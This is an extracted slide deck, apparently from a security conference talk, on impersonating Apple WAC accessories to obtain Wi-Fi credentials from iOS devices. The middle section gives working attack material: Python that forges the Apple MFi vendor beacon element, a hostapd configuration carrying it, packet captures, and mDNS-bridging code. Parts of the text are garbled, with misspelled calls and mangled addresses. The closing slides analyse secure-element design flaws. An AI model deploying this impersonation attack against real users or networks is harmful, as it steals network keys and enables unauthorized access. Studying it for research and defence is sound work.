The Capgras Delusion
Attacking Perception

• Impersonate any WAC device
• Trick users into handing you cryptographic secrets
• Abuse automated workflows
• Gain access to network(s)
Attacking Apple WAC

- Wireless Accessory Config
- Way to hand off secrets from iOS to an IoT accessory
- Specification under Apple NDA
- But we’ll describe it anyway ;-}
New Wi-Fi network connections have been turned off from Control Center.

**CHOOSE A NETWORK...**

<table>
<thead>
<tr>
<th>Network</th>
<th>Status</th>
</tr>
</thead>
<tbody>
<tr>
<td>bipbip</td>
<td></td>
</tr>
<tr>
<td>Stapelbak2</td>
<td></td>
</tr>
<tr>
<td>Ziggo</td>
<td></td>
</tr>
<tr>
<td>Ziggo5C75768 - 2Ghz</td>
<td></td>
</tr>
<tr>
<td>Ziggo5C75768 - 5Ghz</td>
<td></td>
</tr>
<tr>
<td>Ziggo8546040</td>
<td></td>
</tr>
<tr>
<td>Other...</td>
<td></td>
</tr>
</tbody>
</table>

**SET UP NEW DEVICE...**

- AirPort Express f38bea
- lol donb is WAC

Ask to Join Networks
WAC Workflow

- Serve WIFI Network as Configurable Device
- IOS Connects to IoT WIFI Network
- IOS Sends mDNS Request for MFI Config
- IoT Responds with its IP Address
- IOS Verifies Cryptographic Identity
- IOS Sends WiFi Keys To MFI Chip
WAC Test Harness

 IoT Accessory

 Laptop Connects as WiFi Client

 Laptop w/ HostAPd

 Laptop Serves WiFi to iOS

 IOS Device
Step 1: Hostapd

- Take any hostapd capable WiFi adapter
- Recommend TP-LINK TL-WN722N
- Configure SSID with Any SSID You Like
- Add a Vendor Specific Element
WiFi Vendor Elements

- WiFi Beacons are composed of Elements
- Basic Type Length Value format
- Each Element defines a specific WiFi AP attribute
- Such as ‘SSID’ or ‘Supported Speed’ or ‘Supported Encryption’
- A Vendor Element is data Specific to a Manufacturer
## Apple - MFi WAC Element Format

### Vendor Specific Element Header
- **0xDD**: 1 byte
- **Length**: 1 byte
- **Apple OUI**: 0x00, 0xA0, 0x40

### Vendor Specific Element Data
- **0x00**: 0 byte
- **0x02**: 2 bytes
  - Unknown: 0x70, 0x02
- **0x01**: 1 byte
  - **N**: 1 byte
  - **SSID**: 2 bytes
- **0x02**: 1 byte
  - **N**: 1 byte
  - **Vendor Name**: 2 bytes
- **0x03**: 1 byte
  - **N**: 1 byte
  - **Description**: 2 bytes
- **0x07**: 1 byte
  - **0x02**: 2 bytes
  - **MAC**: 0x11, 0x22, 0x33, 0x44, 0x55, 0x66
This accessory will be set up to join “Ziggo8546040”.

Show Other Networks...

Accessory Name  lol donb is WAC
import binascii

name = "lol donb is WAC"
n = name.encode('utf-8')
b_name = b'\x03' + bytes([len(n)]) + n

n = name.encode('utf-8')
b_vendor = b'\x02' + bytes([len(n)]) + n

n = name.encode('utf-8')
b_dev = b'\x01' + bytes([len(n)]) + n

n = b'\x00\x11\x22\x33\x44\x55'
b_mac = b'\x07' + bytes([len(n)]) + n

n = b'\x70\x02'
b_unk = b'\x00' + bytes([len(n)]) + n

oui = b'\x00\xa0\x40'
data = oui + b'\x00' + b_unk + b_mac + b_name + b_vendor + b_dev

element = b'\xd2' + bytes([len(data)]) + data

print("\0".format(binascii.hexlify(element).decode('utf-8')))

ssid=lol donb is WAC
#auth_algs=1
beacon_int=50
channel=3
country_code=US
disassoc_low_ack=1
#driver=ath9k_htc
driver=n180211
#driver=rtl8711xdrv
hw_mode=g
#ht_capab=[HT40+][HT40-][SHORT-GI-40][RX-STBC1]
ht_capab=[HT40+][HT40-][SHORT-GI-40]
ieee80211d=1
ieee80211n=1
interface=w1x8416f91a27ec
require_ht=0
rsn_pairwise=CCMP
wmm_enabled=1
#upa=2
#wpa_key_mgmt=WPA-PSK
#wpa_passphrase=YOURPASSPHRASE
vendor_elements=dd4300a04000000027002070601122334455030f6c6f6c20646f6e6220697320574143020f6c6f6c20646f6e6220697320574143
root@seychelles:/etc/hostapd# tcpdump -ni wlx8416f91a27ec
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on wlx8416f91a27ec, link-type EN10MB (Ethernet), capture size 262144 bytes
01:13:28,796010 IP 169.254.95.250,5353 > 224,0,0.251.5353: 0 [4q] PTR (QM)?_mfi-config._tcp.local, PTR (QM)?_hap._tcp.local, PTR (QM)?_airplay._tcp.local, (78)
01:13:28,796015 IP 169.254.95.250,5353 > 224,0,0.251.5353: 0 [4q] PTR (QM)?_mfi-config._tcp.local, PTR (QM)?_hap._tcp.local, PTR (QM)?_airplay._tcp.local, (78)
01:13:28,796019 IP6 fe80::14b1:40fd:3c48:f67.5353 > ff02::fb.5353: 0 [4q] PTR (QM)?_mfi-config._tcp.local, PTR (QM)?_hap._tcp.local, PTR (QM)?_airplay._tcp.local, (78)
01:13:28,796031 IP6 fe80::14b1:40fd:3c48:f67.5353 > ff02::fb.5353: 0 [4q] PTR (QM)?_mfi-config._tcp.local, PTR (QM)?_hap._tcp.local, PTR (QM)?_airplay._tcp.local, (78)
01:13:29,801034 IP 169.254.95.250,5353 > 224,0,0.251.5353: 0 [4q] PTR (QM)?_mfi-config._tcp.local, PTR (QM)?_hap._tcp.local, PTR (QM)?_airplay._tcp.local, (78)
01:13:29,801039 IP 169.254.95.250,5353 > 224,0,0.251.5353: 0 [4q] PTR (QM)?_mfi-config._tcp.local, PTR (QM)?_hap._tcp.local, PTR (QM)?_airplay._tcp.local, (78)
01:13:29,801043 IP6 fe80::14b1:40fd:3c48:f67.5353 > ff02::fb.5353: 0 [4q] PTR (QM)?_mfi-config._tcp.local, PTR (QM)?_hap._tcp.local, PTR (QM)?_airplay._tcp.local, (78)
01:13:29,801056 IP6 fe80::14b1:40fd:3c48:f67.5353 > ff02::fb.5353: 0 [4q] PTR (QM)?_mfi-config._tcp.local, PTR (QM)?_hap._tcp.local, PTR (QM)?_airplay._tcp.local, (78)
01:13:30,216971 IP 0,0,0,0.68 > 255,255,255,255,67: BOOTP/DHCP, Request from 98:ca:33:54:23:28, length 300
01:13:30,216977 IP 0,0,0,0.68 > 255,255,255,255,67: BOOTP/DHCP, Request from 98:ca:33:54:23:28, length 300
01:13:31,776707 IP 0,0,0,0.68 > 255,255,255,255,67: BOOTP/DHCP, Request from 98:ca:33:54:23:28, length 300
01:13:31,776713 IP 0,0,0,0.68 > 255,255,255,255,67: BOOTP/DHCP, Request from 98:ca:33:54:23:28, length 300
01:13:32,841462 IP 169.254.95.250,5353 > 224,0,0.251.5353: 0 [4q] PTR (QM)?_mfi-config._tcp.local, PTR (QM)?_hap._tcp.local, PTR (QM)?_airplay._tcp.local, (78)
01:13:32,841466 IP 169.254.95.250,5353 > 224,0,0.251.5353: 0 [4q] PTR (QM)?_mfi-config._tcp.local, PTR (QM)?_hap._tcp.local, PTR (QM)?_airplay._tcp.local, (78)
01:13:32,841471 IP6 fe80::14b1:40fd:3c48:f67.5353 > ff02::fb.5353: 0 [4q] PTR (QM)?_mfi-config._tcp.local, PTR (QM)?_hap._tcp.local, PTR (QM)?_airplay._tcp.local, (78)
01:13:32,841482 IP6 fe80::14b1:40fd:3c48:f67.5353 > ff02::fb.5353: 0 [4q] PTR (QM)?_mfi-config._tcp.local, PTR (QM)?_hap._tcp.local, PTR (QM)?_airplay._tcp.local, (78)
01:13:34,479966 IP 0,0,0,0.68 > 255,255,255,255,67: BOOTP/DHCP, Request from 98:ca:33:54:23:28, length 300
01:13:34,479971 IP 0,0,0,0.68 > 255,255,255,255,67: BOOTP/DHCP, Request from 98:ca:33:54:23:28, length 300
Step 2: MFI Config

- iOS will mDNS for the owner of _mfi_config
- Forward request over bridged network with MOOPS
- Forward responses back
- Allows bridging “fake” WiFi Accessory with Real one
Fling test

{"dst": '01:00:5e:00:00:fb', 'name': 'Ether', 'next': {'dst': '224.0.0.251', 'name': 'IP', 'next': {'name': 'UDP', 'dst': 5353}}}

{"dst": '224.0.0.251', 'name': 'IP', 'next': {'name': 'UDP', 'dst': 5353}}

{"name": 'UDP', 'dst': 5353}

running?

fling: 192.168.10.3 -> 224.0.0.251
fling: 192.168.10.3 -> 224.0.0.251
fling: 192.168.10.3 -> 224.0.0.251
fling: 192.168.10.3 -> 224.0.0.251
from moops.ether import Ether as E
from moops.ip import IP
from moops.udp import UDP
from moops.fling import Fling as F
from moops.match import Match as M
from moops.mangle import Mangle
import socket
import time
import sys

def mangle(x):
    e = E({'bytes': x})
    i = IP({'bytes': e.next(), 'prev': e})
    u = UDP({'bytes': i.next(), 'prev': i})
    e['next'] = i
    i['next'] = u
    e['src'] = 'aa:bb:9a:b7:dd:cc'
    i['src'] = '192.168.10.3'

    print('fling: {0} -> {1}'.format(i['src'], i['dst']))

    return bytes(e)

print('nFling test')
u = UDP()
u['dst'] = 5353
i = IP({'next': u})
i['dst'] = '224.0.0.251'
e = E({'next': i})
e['dst'] = '01:00:5e:00:00:fb'
m = M()
m['match'] = e
print(e)
priint(i)
priint(u)

F = F({'in': 'wlp3s0', 'out': 'em0s3f6'})
f = F({'in': 'w1x8416f91a27ec', 'out': 'wlp3s0'})
f['match'] = m
f['mangle'] = mangle
print('running?')
f.start()
while 1:
    time.sleep(50)
print('joining?')
f.join()
print('done')
Step 3: Hacked Accessory

- Now any hacked accessory with a MFi chip gives you keys
- MFi will delegate WiFi keys to its host device
- Use MFi as your own skeleton key
Why Does This Work?
SE - Flash Model w/ Standard OS
SE - External Element Model
Common SE Use Cases
Common Use Cases

- Secure Boot
- Attestation
- Self Identification
- Peer Identification
Secure Boot
SE - Flash Model w/ Standard OS
SE - External Element Model
Attestation
SE - Flash Model w/ Standard OS
SE - External Element Model

Networked Peer

User Land
- Non-Privileged Userland Processes
- Privileged Userland Processes

Kernel Land
- Non-Privileged Kernel Processes
- Privileged Kernel Processes

Endpoint

Admin Privileges

Security Integrity

Kernel Context

Network

Secure Storage Medium

Bus Protocol

Physical Security
SE - Internal Element Model

[Diagram showing networked peer connected to endpoint, with user land and kernel land sections, processes, and security contexts.]
Identification
SE - Flash Model w/ Standard OS
SE - External Element Model
SE - Internal Element Model

Endpoint

User Land
- Non-Privileged Userland Processes
- Privileged Userland Processes

Kernel Land
- Non-Privileged Kernel Processes
- Privileged Kernel Processes

Networked Peer

Secure Storage Medium

Admin Privileges

Direct Access

Physical Security ???

Kernel Context
Why MFi Fails
It’s Obvious Now

• External Chip Model is critically flawed
• An External SE can only identify itself
• Without proper provisioning/personalization it cannot identify its Host Device
• Even with proper P&P the host device is vulnerable without an Internal SE
• Even with an internal SE, there are still gaps!
Summary
Slide 25: Kirstin, Miette, & Ruby
Slide 30, 52: Elena Helfrechcht
Slide 48, 51: Adrian Kozakiewicz

donb@securitymouse.com